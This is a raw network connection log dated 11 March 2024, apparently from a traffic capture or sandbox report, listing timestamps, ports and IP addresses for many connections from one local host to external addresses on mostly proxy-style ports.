Mar 11, 2024 16:42:18.006777048 CET	49811	1111	192.168.2.11	103.8.164.16
Mar 11, 2024 16:42:18.008640051 CET	49812	5678	192.168.2.11	193.106.57.96
Mar 11, 2024 16:42:18.010723114 CET	49813	80	192.168.2.11	104.17.84.150
Mar 11, 2024 16:42:18.012573004 CET	49814	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:18.014091015 CET	49815	80	192.168.2.11	143.198.226.25
Mar 11, 2024 16:42:18.015877962 CET	80	49767	172.67.182.169	192.168.2.11
Mar 11, 2024 16:42:18.016004086 CET	49767	80	192.168.2.11	172.67.182.169
Mar 11, 2024 16:42:18.016388893 CET	49767	80	192.168.2.11	172.67.182.169
Mar 11, 2024 16:42:18.017462015 CET	49816	8090	192.168.2.11	115.127.112.74
Mar 11, 2024 16:42:18.018017054 CET	49817	26315	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:18.020553112 CET	49818	3128	192.168.2.11	193.239.86.249
Mar 11, 2024 16:42:18.022633076 CET	49819	1080	192.168.2.11	5.180.19.140
Mar 11, 2024 16:42:18.024276972 CET	49820	999	192.168.2.11	45.181.123.145
Mar 11, 2024 16:42:18.026920080 CET	49821	80	192.168.2.11	104.16.81.76
Mar 11, 2024 16:42:18.031253099 CET	80	49771	104.17.9.114	192.168.2.11
Mar 11, 2024 16:42:18.031337976 CET	49771	80	192.168.2.11	104.17.9.114
Mar 11, 2024 16:42:18.037148952 CET	49822	8080	192.168.2.11	193.34.21.200
Mar 11, 2024 16:42:18.037421942 CET	49771	80	192.168.2.11	104.17.9.114
Mar 11, 2024 16:42:18.038121939 CET	49823	9401	192.168.2.11	147.75.92.251
Mar 11, 2024 16:42:18.040082932 CET	40351	49752	51.222.241.157	192.168.2.11
Mar 11, 2024 16:42:18.040529966 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:18.042057991 CET	49825	5678	192.168.2.11	45.228.147.209
Mar 11, 2024 16:42:18.044625998 CET	49826	1080	192.168.2.11	93.171.243.253
Mar 11, 2024 16:42:18.044644117 CET	30951	49753	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:18.046416044 CET	49827	9039	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:18.049069881 CET	49828	5678	192.168.2.11	123.108.98.108
Mar 11, 2024 16:42:18.051538944 CET	49829	16379	192.168.2.11	163.172.147.9
Mar 11, 2024 16:42:18.054153919 CET	49830	9002	192.168.2.11	220.248.70.237
Mar 11, 2024 16:42:18.056881905 CET	49831	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.059088945 CET	49832	13335	192.168.2.11	172.67.185.199
Mar 11, 2024 16:42:18.061378956 CET	49833	55019	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:18.062809944 CET	80	49716	50.217.226.43	192.168.2.11
Mar 11, 2024 16:42:18.063059092 CET	49834	80	192.168.2.11	50.172.218.160
Mar 11, 2024 16:42:18.065248966 CET	49835	3129	192.168.2.11	20.204.212.76
Mar 11, 2024 16:42:18.067106962 CET	49836	3128	192.168.2.11	155.50.241.99
Mar 11, 2024 16:42:18.068917036 CET	49837	80	192.168.2.11	52.24.80.166
Mar 11, 2024 16:42:18.070504904 CET	49838	1080	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:18.072508097 CET	49839	8080	192.168.2.11	160.19.169.208
Mar 11, 2024 16:42:18.073988914 CET	49840	60781	192.168.2.11	132.148.129.254
Mar 11, 2024 16:42:18.075222969 CET	49841	80	192.168.2.11	185.162.229.127
Mar 11, 2024 16:42:18.077617884 CET	49842	8089	192.168.2.11	123.182.58.221
Mar 11, 2024 16:42:18.080300093 CET	49843	3629	192.168.2.11	178.158.197.147
Mar 11, 2024 16:42:18.082299948 CET	49844	18877	192.168.2.11	178.128.207.96
Mar 11, 2024 16:42:18.083996058 CET	49845	999	192.168.2.11	181.65.169.37
Mar 11, 2024 16:42:18.086385965 CET	49846	8080	192.168.2.11	85.117.60.162
Mar 11, 2024 16:42:18.088682890 CET	49847	58386	192.168.2.11	5.44.42.115
Mar 11, 2024 16:42:18.090029955 CET	4495	49768	67.43.228.252	192.168.2.11
Mar 11, 2024 16:42:18.090519905 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:18.091731071 CET	80	49734	172.67.254.127	192.168.2.11
Mar 11, 2024 16:42:18.091747999 CET	80	49734	172.67.254.127	192.168.2.11
Mar 11, 2024 16:42:18.092102051 CET	80	49734	172.67.254.127	192.168.2.11
Mar 11, 2024 16:42:18.092156887 CET	49734	80	192.168.2.11	172.67.254.127
Mar 11, 2024 16:42:18.092631102 CET	49849	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:18.094378948 CET	49850	31337	192.168.2.11	186.251.255.73
Mar 11, 2024 16:42:18.096570015 CET	49851	4153	192.168.2.11	190.2.104.201
Mar 11, 2024 16:42:18.096788883 CET	9764	49770	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.096860886 CET	49770	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.097060919 CET	49770	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.097827911 CET	80	49775	50.239.72.18	192.168.2.11
Mar 11, 2024 16:42:18.098716974 CET	80	49742	104.16.226.6	192.168.2.11
Mar 11, 2024 16:42:18.098767042 CET	80	49742	104.16.226.6	192.168.2.11
Mar 11, 2024 16:42:18.098972082 CET	49852	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.099056959 CET	80	49742	104.16.226.6	192.168.2.11
Mar 11, 2024 16:42:18.099097013 CET	49742	80	192.168.2.11	104.16.226.6
Mar 11, 2024 16:42:18.100486994 CET	49853	80	192.168.2.11	172.67.187.242
Mar 11, 2024 16:42:18.100868940 CET	8081	49713	79.110.196.145	192.168.2.11
Mar 11, 2024 16:42:18.101111889 CET	49713	8081	192.168.2.11	79.110.196.145
Mar 11, 2024 16:42:18.101443052 CET	49713	8081	192.168.2.11	79.110.196.145
Mar 11, 2024 16:42:18.104162931 CET	49854	8080	192.168.2.11	181.212.45.228
Mar 11, 2024 16:42:18.105588913 CET	49855	36694	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:18.107553005 CET	49856	8080	192.168.2.11	176.88.166.218
Mar 11, 2024 16:42:18.109770060 CET	49857	83	192.168.2.11	103.168.164.94
Mar 11, 2024 16:42:18.110292912 CET	80	49746	104.21.6.88	192.168.2.11
Mar 11, 2024 16:42:18.110414028 CET	80	49746	104.21.6.88	192.168.2.11
Mar 11, 2024 16:42:18.110918045 CET	49858	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:18.111217022 CET	33590	49735	85.120.30.66	192.168.2.11
Mar 11, 2024 16:42:18.111259937 CET	80	49746	104.21.6.88	192.168.2.11
Mar 11, 2024 16:42:18.111305952 CET	49746	80	192.168.2.11	104.21.6.88
Mar 11, 2024 16:42:18.112600088 CET	8000	49736	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:18.112703085 CET	49736	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:18.113423109 CET	49859	999	192.168.2.11	179.1.192.27
Mar 11, 2024 16:42:18.114152908 CET	49736	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:18.115712881 CET	49860	51405	192.168.2.11	51.81.186.179
Mar 11, 2024 16:42:18.117254019 CET	49861	15430	192.168.2.11	92.205.110.118
Mar 11, 2024 16:42:18.117830992 CET	49742	80	192.168.2.11	104.16.226.6
Mar 11, 2024 16:42:18.118222952 CET	49746	80	192.168.2.11	104.21.6.88
Mar 11, 2024 16:42:18.118621111 CET	49734	80	192.168.2.11	172.67.254.127
Mar 11, 2024 16:42:18.119492054 CET	80	49799	45.12.31.3	192.168.2.11
Mar 11, 2024 16:42:18.119555950 CET	49799	80	192.168.2.11	45.12.31.3
Mar 11, 2024 16:42:18.121242046 CET	49799	80	192.168.2.11	45.12.31.3
Mar 11, 2024 16:42:18.121726990 CET	49862	80	192.168.2.11	104.25.135.170
Mar 11, 2024 16:42:18.122163057 CET	49863	64120	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:18.124243975 CET	49864	8080	192.168.2.11	105.174.40.54
Mar 11, 2024 16:42:18.124999046 CET	28971	49777	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:18.126151085 CET	49865	999	192.168.2.11	45.190.78.50
Mar 11, 2024 16:42:18.128472090 CET	49867	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.130335093 CET	4145	49712	152.32.78.24	192.168.2.11
Mar 11, 2024 16:42:18.136884928 CET	50605	49782	51.81.89.146	192.168.2.11
Mar 11, 2024 16:42:18.141843081 CET	49866	27234	192.168.2.11	168.228.36.22
Mar 11, 2024 16:42:18.144052029 CET	49868	80	192.168.2.11	194.186.127.60
Mar 11, 2024 16:42:18.144881964 CET	49869	17045	192.168.2.11	88.202.230.103
Mar 11, 2024 16:42:18.147331953 CET	49870	8181	192.168.2.11	103.78.96.146
Mar 11, 2024 16:42:18.147793055 CET	31033	49786	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:18.147960901 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:18.148700953 CET	49872	8080	192.168.2.11	87.76.1.251
Mar 11, 2024 16:42:18.150357962 CET	49873	4444	192.168.2.11	193.143.1.201
Mar 11, 2024 16:42:18.150645018 CET	8800	49740	43.133.136.208	192.168.2.11
Mar 11, 2024 16:42:18.150715113 CET	49740	8800	192.168.2.11	43.133.136.208
Mar 11, 2024 16:42:18.151901960 CET	49740	8800	192.168.2.11	43.133.136.208
Mar 11, 2024 16:42:18.153177977 CET	49874	3128	192.168.2.11	34.85.177.170
Mar 11, 2024 16:42:18.154418945 CET	49875	9990	192.168.2.11	103.234.26.163
Mar 11, 2024 16:42:18.156004906 CET	49876	5678	192.168.2.11	1.15.62.12
Mar 11, 2024 16:42:18.157150030 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:18.158920050 CET	49878	37847	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:18.159941912 CET	80	49797	50.239.72.19	192.168.2.11
Mar 11, 2024 16:42:18.160161972 CET	49879	80	192.168.2.11	146.59.202.70
Mar 11, 2024 16:42:18.160607100 CET	4145	49808	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:18.160671949 CET	49808	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:18.161333084 CET	32221	49788	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:18.161664009 CET	49880	3128	192.168.2.11	18.134.236.231
Mar 11, 2024 16:42:18.162530899 CET	49881	5678	192.168.2.11	176.119.227.65
Mar 11, 2024 16:42:18.164372921 CET	49882	7777	192.168.2.11	123.30.154.171
Mar 11, 2024 16:42:18.165364981 CET	80	49813	104.17.84.150	192.168.2.11
Mar 11, 2024 16:42:18.165442944 CET	49813	80	192.168.2.11	104.17.84.150
Mar 11, 2024 16:42:18.166119099 CET	49883	32650	192.168.2.11	41.217.220.214
Mar 11, 2024 16:42:18.166373014 CET	49813	80	192.168.2.11	104.17.84.150
Mar 11, 2024 16:42:18.167330980 CET	49884	8000	192.168.2.11	178.128.156.219
Mar 11, 2024 16:42:18.168340921 CET	8123	49761	20.24.43.214	192.168.2.11
Mar 11, 2024 16:42:18.168689013 CET	49885	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:18.170552969 CET	49886	1080	192.168.2.11	89.187.216.58
Mar 11, 2024 16:42:18.170679092 CET	80	49767	172.67.182.169	192.168.2.11
Mar 11, 2024 16:42:18.170716047 CET	80	49767	172.67.182.169	192.168.2.11
Mar 11, 2024 16:42:18.171192884 CET	80	49767	172.67.182.169	192.168.2.11
Mar 11, 2024 16:42:18.171354055 CET	49767	80	192.168.2.11	172.67.182.169
Mar 11, 2024 16:42:18.171354055 CET	49767	80	192.168.2.11	172.67.182.169
Mar 11, 2024 16:42:18.171681881 CET	49887	16379	192.168.2.11	51.15.254.129
Mar 11, 2024 16:42:18.173623085 CET	3129	49733	20.219.180.149	192.168.2.11
Mar 11, 2024 16:42:18.174771070 CET	49888	31337	192.168.2.11	186.251.255.105
Mar 11, 2024 16:42:18.175791979 CET	49889	80	192.168.2.11	50.174.145.11
Mar 11, 2024 16:42:18.177782059 CET	49890	8080	192.168.2.11	103.147.247.79
Mar 11, 2024 16:42:18.179172993 CET	49891	3128	192.168.2.11	94.131.106.196
Mar 11, 2024 16:42:18.180881977 CET	49892	80	192.168.2.11	50.168.72.112
Mar 11, 2024 16:42:18.181232929 CET	80	49821	104.16.81.76	192.168.2.11
Mar 11, 2024 16:42:18.181315899 CET	49821	80	192.168.2.11	104.16.81.76
Mar 11, 2024 16:42:18.182564974 CET	49821	80	192.168.2.11	104.16.81.76
Mar 11, 2024 16:42:18.182760000 CET	49893	80	192.168.2.11	50.223.239.166
Mar 11, 2024 16:42:18.183419943 CET	5678	49762	178.212.51.79	192.168.2.11
Mar 11, 2024 16:42:18.184690952 CET	49894	53783	192.168.2.11	162.241.46.69
Mar 11, 2024 16:42:18.185792923 CET	49895	8080	192.168.2.11	95.47.149.8
Mar 11, 2024 16:42:18.190874100 CET	80	49779	50.174.145.9	192.168.2.11
Mar 11, 2024 16:42:18.191919088 CET	80	49771	104.17.9.114	192.168.2.11
Mar 11, 2024 16:42:18.192034006 CET	80	49771	104.17.9.114	192.168.2.11
Mar 11, 2024 16:42:18.192734957 CET	80	49771	104.17.9.114	192.168.2.11
Mar 11, 2024 16:42:18.192786932 CET	49771	80	192.168.2.11	104.17.9.114
Mar 11, 2024 16:42:18.203136921 CET	49771	80	192.168.2.11	104.17.9.114
Mar 11, 2024 16:42:18.205084085 CET	49896	64768	192.168.2.11	173.212.250.16
Mar 11, 2024 16:42:18.205987930 CET	49897	45248	192.168.2.11	166.62.121.127
Mar 11, 2024 16:42:18.207463026 CET	4145	49738	142.54.237.34	192.168.2.11
Mar 11, 2024 16:42:18.207472086 CET	49898	49806	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:18.208379984 CET	49899	5678	192.168.2.11	173.224.20.136
Mar 11, 2024 16:42:18.208468914 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.208534002 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.209778070 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.210952044 CET	49900	8090	192.168.2.11	119.28.60.64
Mar 11, 2024 16:42:18.213268042 CET	49901	8080	192.168.2.11	103.153.232.41
Mar 11, 2024 16:42:18.215418100 CET	49902	55443	192.168.2.11	202.165.47.90
Mar 11, 2024 16:42:18.216938972 CET	49903	8061	192.168.2.11	103.169.254.186
Mar 11, 2024 16:42:18.217577934 CET	5678	49751	122.152.53.25	192.168.2.11
Mar 11, 2024 16:42:18.218080997 CET	49904	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.220562935 CET	49905	8888	192.168.2.11	65.109.152.88
Mar 11, 2024 16:42:18.220773935 CET	8081	49719	154.72.90.74	192.168.2.11
Mar 11, 2024 16:42:18.221293926 CET	49906	42931	192.168.2.11	88.211.85.169
Mar 11, 2024 16:42:18.223464012 CET	1080	49765	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:18.223531008 CET	49765	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:18.223812103 CET	49765	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:18.229825020 CET	80	49841	185.162.229.127	192.168.2.11
Mar 11, 2024 16:42:18.229918003 CET	49841	80	192.168.2.11	185.162.229.127
Mar 11, 2024 16:42:18.231230021 CET	49907	5484	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:18.231858015 CET	49841	80	192.168.2.11	185.162.229.127
Mar 11, 2024 16:42:18.232007980 CET	49909	9090	192.168.2.11	45.90.104.150
Mar 11, 2024 16:42:18.232038975 CET	49908	9091	192.168.2.11	103.112.128.37
Mar 11, 2024 16:42:18.232099056 CET	49910	3128	192.168.2.11	194.182.187.78
Mar 11, 2024 16:42:18.232681990 CET	49911	13003	192.168.2.11	192.99.207.129
Mar 11, 2024 16:42:18.235007048 CET	49912	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.235950947 CET	49913	80	192.168.2.11	165.154.236.214
Mar 11, 2024 16:42:18.235996008 CET	49914	8080	192.168.2.11	46.0.203.186
Mar 11, 2024 16:42:18.237453938 CET	49915	5775	192.168.2.11	72.10.160.92
Mar 11, 2024 16:42:18.237571001 CET	49916	80	192.168.2.11	103.152.112.145
Mar 11, 2024 16:42:18.239881992 CET	49917	1974	192.168.2.11	41.33.203.115
Mar 11, 2024 16:42:18.239891052 CET	49918	3128	192.168.2.11	5.252.23.249
Mar 11, 2024 16:42:18.241862059 CET	49919	80	192.168.2.11	50.175.212.74
Mar 11, 2024 16:42:18.243047953 CET	26315	49817	72.10.160.171	192.168.2.11
Mar 11, 2024 16:42:18.243976116 CET	49920	10710	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:18.244096041 CET	8080	49784	42.200.196.208	192.168.2.11
Mar 11, 2024 16:42:18.246364117 CET	49921	80	192.168.2.11	104.16.105.106
Mar 11, 2024 16:42:18.248668909 CET	49922	80	192.168.2.11	178.128.200.87
Mar 11, 2024 16:42:18.249614954 CET	49923	3128	192.168.2.11	178.158.166.161
Mar 11, 2024 16:42:18.251446962 CET	49924	9510	192.168.2.11	92.247.12.136
Mar 11, 2024 16:42:18.252263069 CET	49925	45883	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:18.253185987 CET	31679	49849	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:18.253232002 CET	49849	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:18.254486084 CET	49926	80	192.168.2.11	118.222.104.135
Mar 11, 2024 16:42:18.254587889 CET	80	49853	172.67.187.242	192.168.2.11
Mar 11, 2024 16:42:18.254662991 CET	49853	80	192.168.2.11	172.67.187.242
Mar 11, 2024 16:42:18.256433964 CET	49853	80	192.168.2.11	172.67.187.242
Mar 11, 2024 16:42:18.256957054 CET	49927	5678	192.168.2.11	181.78.13.91
Mar 11, 2024 16:42:18.257366896 CET	49928	8080	192.168.2.11	57.128.163.242
Mar 11, 2024 16:42:18.258913040 CET	49929	58740	192.168.2.11	162.214.197.102
Mar 11, 2024 16:42:18.260986090 CET	49930	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.261615992 CET	49931	80	192.168.2.11	45.139.11.200
Mar 11, 2024 16:42:18.261925936 CET	3128	49772	46.245.77.52	192.168.2.11
Mar 11, 2024 16:42:18.263120890 CET	49932	8888	192.168.2.11	47.254.90.125
Mar 11, 2024 16:42:18.264271021 CET	49933	80	192.168.2.11	50.168.163.166
Mar 11, 2024 16:42:18.266123056 CET	49934	15673	192.168.2.11	43.131.245.216
Mar 11, 2024 16:42:18.269104004 CET	49935	80	192.168.2.11	14.142.36.210
Mar 11, 2024 16:42:18.270498037 CET	49936	8080	192.168.2.11	176.213.141.107
Mar 11, 2024 16:42:18.271440029 CET	9039	49827	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:18.272090912 CET	80	49742	104.16.226.6	192.168.2.11
Mar 11, 2024 16:42:18.272372961 CET	49937	12446	192.168.2.11	148.72.209.174
Mar 11, 2024 16:42:18.272665024 CET	80	49746	104.21.6.88	192.168.2.11
Mar 11, 2024 16:42:18.272747993 CET	80	49734	172.67.254.127	192.168.2.11
Mar 11, 2024 16:42:18.275574923 CET	80	49799	45.12.31.3	192.168.2.11
Mar 11, 2024 16:42:18.275711060 CET	80	49799	45.12.31.3	192.168.2.11
Mar 11, 2024 16:42:18.276031971 CET	80	49862	104.25.135.170	192.168.2.11
Mar 11, 2024 16:42:18.276117086 CET	49862	80	192.168.2.11	104.25.135.170
Mar 11, 2024 16:42:18.276187897 CET	80	49799	45.12.31.3	192.168.2.11
Mar 11, 2024 16:42:18.276235104 CET	49799	80	192.168.2.11	45.12.31.3
Mar 11, 2024 16:42:18.280994892 CET	49799	80	192.168.2.11	45.12.31.3
Mar 11, 2024 16:42:18.282337904 CET	49862	80	192.168.2.11	104.25.135.170
Mar 11, 2024 16:42:18.282973051 CET	49938	18080	192.168.2.11	8.142.132.204
Mar 11, 2024 16:42:18.284023046 CET	49939	8901	192.168.2.11	94.124.16.218
Mar 11, 2024 16:42:18.285372972 CET	55019	49833	92.204.135.37	192.168.2.11
Mar 11, 2024 16:42:18.285437107 CET	49833	55019	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:18.285552025 CET	49940	8080	192.168.2.11	103.115.242.192
Mar 11, 2024 16:42:18.286113977 CET	49833	55019	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:18.287715912 CET	49941	80	192.168.2.11	119.81.189.194
Mar 11, 2024 16:42:18.288896084 CET	80	49834	50.172.218.160	192.168.2.11
Mar 11, 2024 16:42:18.289120913 CET	49942	1981	192.168.2.11	41.65.236.56
Mar 11, 2024 16:42:18.290153027 CET	49943	80	192.168.2.11	104.16.106.65
Mar 11, 2024 16:42:18.291554928 CET	49944	8080	192.168.2.11	38.253.232.2
Mar 11, 2024 16:42:18.292747021 CET	49945	39323	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:18.293848991 CET	49946	4145	192.168.2.11	36.90.61.224
Mar 11, 2024 16:42:18.294493914 CET	49947	80	192.168.2.11	50.170.90.24
Mar 11, 2024 16:42:18.296001911 CET	49948	999	192.168.2.11	190.113.40.202
Mar 11, 2024 16:42:18.296442986 CET	49949	18067	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:18.298949003 CET	49950	26353	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:18.301667929 CET	49951	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:18.304100990 CET	8081	49803	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.304168940 CET	49803	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.305115938 CET	49803	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.305332899 CET	49952	3129	192.168.2.11	103.76.253.66
Mar 11, 2024 16:42:18.308114052 CET	49953	8080	192.168.2.11	38.156.73.54
Mar 11, 2024 16:42:18.311031103 CET	49954	49858	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:18.313450098 CET	9401	49823	147.75.92.251	192.168.2.11
Mar 11, 2024 16:42:18.313551903 CET	49823	9401	192.168.2.11	147.75.92.251
Mar 11, 2024 16:42:18.313786983 CET	49955	8080	192.168.2.11	137.59.48.20
Mar 11, 2024 16:42:18.314452887 CET	49823	9401	192.168.2.11	147.75.92.251
Mar 11, 2024 16:42:18.315601110 CET	49956	3128	192.168.2.11	178.245.145.234
Mar 11, 2024 16:42:18.317035913 CET	49957	80	192.168.2.11	218.255.187.60
Mar 11, 2024 16:42:18.318171978 CET	49958	48117	192.168.2.11	162.215.219.157
Mar 11, 2024 16:42:18.319502115 CET	49959	999	192.168.2.11	170.239.205.1
Mar 11, 2024 16:42:18.320246935 CET	9764	49770	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.320417881 CET	9764	49770	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.321331978 CET	80	49813	104.17.84.150	192.168.2.11
Mar 11, 2024 16:42:18.321398973 CET	80	49813	104.17.84.150	192.168.2.11
Mar 11, 2024 16:42:18.321413040 CET	80	49813	104.17.84.150	192.168.2.11
Mar 11, 2024 16:42:18.321482897 CET	49813	80	192.168.2.11	104.17.84.150
Mar 11, 2024 16:42:18.325478077 CET	80	49767	172.67.182.169	192.168.2.11
Mar 11, 2024 16:42:18.329190016 CET	4145	49885	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:18.329265118 CET	49885	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:18.333070993 CET	49813	80	192.168.2.11	104.17.84.150
Mar 11, 2024 16:42:18.334573030 CET	49961	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.334752083 CET	49960	55198	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:18.336504936 CET	49962	80	192.168.2.11	144.24.122.46
Mar 11, 2024 16:42:18.336929083 CET	80	49821	104.16.81.76	192.168.2.11
Mar 11, 2024 16:42:18.336951017 CET	80	49821	104.16.81.76	192.168.2.11
Mar 11, 2024 16:42:18.337486029 CET	49821	80	192.168.2.11	104.16.81.76
Mar 11, 2024 16:42:18.337801933 CET	80	49821	104.16.81.76	192.168.2.11
Mar 11, 2024 16:42:18.337866068 CET	49821	80	192.168.2.11	104.16.81.76
Mar 11, 2024 16:42:18.338788986 CET	49963	55109	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:18.338953018 CET	49965	13623	192.168.2.11	36.255.104.1
Mar 11, 2024 16:42:18.338988066 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:18.338994026 CET	49964	17145	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:18.339063883 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:18.340317011 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:18.341310024 CET	49966	1976	192.168.2.11	41.128.148.76
Mar 11, 2024 16:42:18.342258930 CET	49967	3128	192.168.2.11	35.237.210.215
Mar 11, 2024 16:42:18.342412949 CET	49968	8888	192.168.2.11	51.15.242.202
Mar 11, 2024 16:42:18.343158007 CET	49969	3128	192.168.2.11	195.154.172.161
Mar 11, 2024 16:42:18.344454050 CET	49970	59243	192.168.2.11	159.223.71.71
Mar 11, 2024 16:42:18.346273899 CET	4145	49858	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:18.346348047 CET	49858	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:18.346888065 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:18.347098112 CET	49858	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:18.348691940 CET	49972	8888	192.168.2.11	38.156.72.135
Mar 11, 2024 16:42:18.350474119 CET	49973	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:18.351569891 CET	49974	80	192.168.2.11	104.18.20.160
Mar 11, 2024 16:42:18.352632046 CET	49975	1488	192.168.2.11	85.94.24.29
Mar 11, 2024 16:42:18.353545904 CET	4145	49852	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:18.353610039 CET	49976	51918	192.168.2.11	162.214.197.102
Mar 11, 2024 16:42:18.353612900 CET	49852	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.354599953 CET	49852	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.355648041 CET	49977	80	192.168.2.11	50.172.75.125
Mar 11, 2024 16:42:18.357424021 CET	49978	8080	192.168.2.11	92.118.132.125
Mar 11, 2024 16:42:18.357453108 CET	80	49771	104.17.9.114	192.168.2.11
Mar 11, 2024 16:42:18.359186888 CET	49979	59820	192.168.2.11	107.180.88.173
Mar 11, 2024 16:42:18.360966921 CET	49980	59870	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:18.362253904 CET	49981	38117	192.168.2.11	132.148.245.169
Mar 11, 2024 16:42:18.364265919 CET	49982	25639	192.168.2.11	67.43.227.226
Mar 11, 2024 16:42:18.365200996 CET	49983	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:18.367444992 CET	49984	1080	192.168.2.11	202.142.167.210
Mar 11, 2024 16:42:18.369528055 CET	49985	45639	192.168.2.11	103.212.93.241
Mar 11, 2024 16:42:18.371192932 CET	49986	16379	192.168.2.11	163.172.171.22
Mar 11, 2024 16:42:18.371334076 CET	45248	49897	166.62.121.127	192.168.2.11
Mar 11, 2024 16:42:18.371390104 CET	8197	49831	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:18.371486902 CET	49831	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.372759104 CET	49831	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:18.373109102 CET	49987	999	192.168.2.11	190.97.238.89
Mar 11, 2024 16:42:18.374474049 CET	49988	23854	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:18.376357079 CET	49989	32650	192.168.2.11	103.176.116.171
Mar 11, 2024 16:42:18.377042055 CET	49990	3128	192.168.2.11	125.99.106.250
Mar 11, 2024 16:42:18.378602982 CET	49991	5678	192.168.2.11	103.130.112.253
Mar 11, 2024 16:42:18.381474972 CET	49992	5678	192.168.2.11	178.236.122.164
Mar 11, 2024 16:42:18.381650925 CET	49993	37355	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:18.382996082 CET	49994	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:18.384825945 CET	49995	60069	192.168.2.11	148.72.23.56
Mar 11, 2024 16:42:18.386354923 CET	80	49841	185.162.229.127	192.168.2.11
Mar 11, 2024 16:42:18.386439085 CET	80	49841	185.162.229.127	192.168.2.11
Mar 11, 2024 16:42:18.386843920 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:18.387151003 CET	49841	80	192.168.2.11	185.162.229.127
Mar 11, 2024 16:42:18.387851000 CET	80	49841	185.162.229.127	192.168.2.11
Mar 11, 2024 16:42:18.387901068 CET	49841	80	192.168.2.11	185.162.229.127
Mar 11, 2024 16:42:18.388287067 CET	49997	80	192.168.2.11	20.187.77.5
Mar 11, 2024 16:42:18.390320063 CET	8000	49884	178.128.156.219	192.168.2.11
Mar 11, 2024 16:42:18.390693903 CET	49998	8080	192.168.2.11	185.200.37.245
Mar 11, 2024 16:42:18.391165972 CET	49999	80	192.168.2.11	162.144.236.128
